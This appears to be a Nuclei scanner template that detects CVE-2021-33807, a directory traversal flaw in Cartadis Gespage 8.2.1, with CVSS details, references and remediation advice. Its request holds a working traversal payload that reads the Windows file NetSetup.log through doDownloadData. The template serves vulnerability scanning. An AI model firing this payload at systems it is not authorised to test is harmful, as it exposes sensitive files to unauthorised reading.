id: CVE-2021-33807

info:
  name: Cartadis Gespage 8.2.1 - Directory Traversal
  author: daffainfo
  severity: high
  description: Cartadis Gespage through 8.2.1 allows Directory Traversal in gespage/doDownloadData and gespage/webapp/doDownloadData.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and further compromise of the system.
  remediation: |
    Apply the latest security patch or update provided by the vendor to fix the directory traversal vulnerability in Cartadis Gespage 8.2.1.
  reference:
    - https://www.on-x.com/sites/default/files/on-x_-_security_advisory_-_gespage_-_cve-2021-33807.pdf
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33807
    - https://www.gespage.com/cartadis-db/
    - https://www.cartadis.com/gespage-website/
    - https://support.gespage.com/fr/support/solutions/articles/14000130201-security-advisory-gespage-directory-traversal
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-33807
    cwe-id: CWE-22
    epss-score: 0.02481
    epss-percentile: 0.9007
    cpe: cpe:2.3:a:gespage:gespage:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gespage
    product: gespage
  tags: cve2021,cve,lfi,gespage

http:
  - method: GET
    path:
      - "{{BaseURL}}/gespage/doDownloadData?file_name=../../../../../Windows/debug/NetSetup.log"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "NetpDoDomainJoin:"

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202bea1d2703e928dd053fed7e5e3acf8179e158aeb0ad43876432a78107af0e0b022100f7ccdfa58a1b6a5f2d675e46d20061984234d8d185079bfd0e4cbc9e38b00d9f:922c64590222798bb761d5b6d8e72950